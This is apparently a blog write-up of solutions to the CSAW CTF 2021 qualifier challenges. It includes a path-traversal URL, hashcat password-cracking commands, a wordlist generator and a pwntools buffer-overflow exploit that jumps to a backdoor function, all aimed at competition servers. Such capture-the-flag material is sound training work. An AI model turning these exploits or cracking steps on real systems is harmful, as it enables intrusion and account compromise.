CSAW CTF - 2021

CSAW CTF is one of the oldest and biggest CTFs with 1216 teams with 1+ points in 2020. Designed as an entry-level, jeopardy-style CTF, this competition is for students who are trying to break into the field of security, as well as for advanced students and industry professionals who want to practice their skills. This blog post is on the CSAW CTF qualifier round 2021.

Warm-up

Turing

The task is to decode the cipher. Go to the url https://cryptii.com/pipes/enigma-machine and click on the Decode option. Also click on the Include button in the foreign characters.

flag: flag{scruffy_looking_nerf_herder}

Poem Collection

This challenge is based on LFI vulnerability. The vulnerable parameter is /poems/?poem=. To get the flag go to the following url.

http://web.chal.csaw.io:5003/poems/?poem=../flag.txt

flag: flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}

Crack me

This challenge is based on cracking a hash with salt. It is given in the description that the salt is the name of the hashing algorithm. I identified it using the hash-identifier tool and found it to be SHA256. Then I saved the contents of the hash and the salt in a local file with the format hash:salt.

a60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c:sha256

Then, we can crack it using hashcat.

hashcat -a 0 -m 1420 hash.txt path-to-rockyou.txt

flag: flag{cathouse}

Password Checker

This is a BOF or pwning challenge. The first thing I did after downloading the task files is overflowing the memory space with 100 A's. Then, I used gdb to disassemble the file. Some of the functions other than main which caught my attention are: password_checker and backdoor. Just to make sure of the memory space allocated, I used Ghidra. To get the flag we need to overflow the buffer space and rewrite the return address to point to the backdoor function.

#!/usr/bin/python3

from pwn import *

#io = process("./password_checker")
io = remote('pwn.chal.csaw.io',5000)

offset = 72
exploit = b"A"*offset+p64(0x0000000000401172)

io.recvuntil(">")
io.sendline(exploit)

io.interactive()

flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

Forensics

Lazy Leaks

This is very simple challenge. In this we need to retrieve the flag from the given .pcapng file.

strings Lazy_Leaks.pcapng | grep flag{

flag: flag{T00_L@ZY_4_$3CUR1TY}

Crypto

Gotta decrypt them all

After fiddling around the response received when netcatting the service I found the following workflow.

 Morse code -> Decimal -> Base64 -> MiniRSA -> ROT13

#!/usr/bin/python3

from pwn import *
from base64 import b64decode
import codecs
import gmpy2

#Morse code values put into a dictionary
dct = {'.----':'1', '..---':'2', '...--':'3','....-':'4', '.....':'5', '-....':'6','--...':'7', '---..':'8', '----.':'9','-----':'0'}

#Function to solve the MiniRSA puzzle
def rsa(n,c,e):
    for i in range(10000):
        m, is_true_root = gmpy2.iroot(i*n + c, e)
        if is_true_root:
            msg = format(bytearray.fromhex(format(m, 'x')).decode())
            break
    return msg

#Function to solve ROT13
def rot13(text):
   return codecs.encode(text,'rot13')

#Fcuntion to convert decimal nnumbers to ASCII
def decimal_to_ascii(text):
    s = ''
    for i in text:
        s += chr(i)
   
#Here comes the main
io = remote('crypto.chal.csaw.io',5001)

for _ in range(6):
    io.recvuntil("mean?")
    #Get the question
    io.recvuntil("\n")
    s = io.recvuntil(">>")
    
    #Convert from bytes to ASCII
    s = s.decode('ASCII')[0:-4]
    lst = list(s.split(" "))
    msg = ""

    #Convert from morse code to decimal
    for i in lst[0:-1]:
        if i[0] == '/': 
            msg += ' '
            msg += dct[i[1:]]
        else: 
            msg += dct[i]

    #print(msg)

    msg = list(msg.split(" "))

    decimal_to_base = ""
    
    #Convert from decimal to base64
    for i in msg:
        decimal_to_base += chr(int(i))
        
    #print(decimal_to_base)

    base64_conv = b64decode(decimal_to_base).decode("ASCII")

    rsa1 = list(base64_conv.split("\n"))
    #print(rsa)
    
    #Splitting the values from output
    n, e, c = int(rsa1[0][4:]), int(rsa1[1][4:]), int(rsa1[2][4:])
    rsa_to_rot = rsa(n,c,e)
    
    #rot13 decode
    res = rot13(rsa_to_rot)
    print(res)
    
    #Finally send the ans
    io.sendline(res)
    io.recvuntil("correct!")

print(io.recvall())
io.interactive()

After running the file we can get the flag.

flag: flag{We're_ALrEadY_0N_0uR_waY_7HE_j0UrnEY_57aR75_70day!}

Misc

Weak password

The challenge is to crack the hash that is given in the description. It is also given that the password contains the name Aaron in the beginning followed by his birthday in the format YYYYMMDD. So, we need to generate a list of passwords according to the condition given. Instead of using python, we can use the following bash one-liner to generate a list.

echo Aaron{1900..2021}{01..12}{01..31} | sed 's/ /\n/g' > attack.txt

The above command will create a file with the name attack.txt.
Then, use hashcat to crack the password.

hashcat -a 0 -m 0 hash.txt attack.txt

flag: flag{Aaron19800321}

That’s it folks. Happy hacking!!!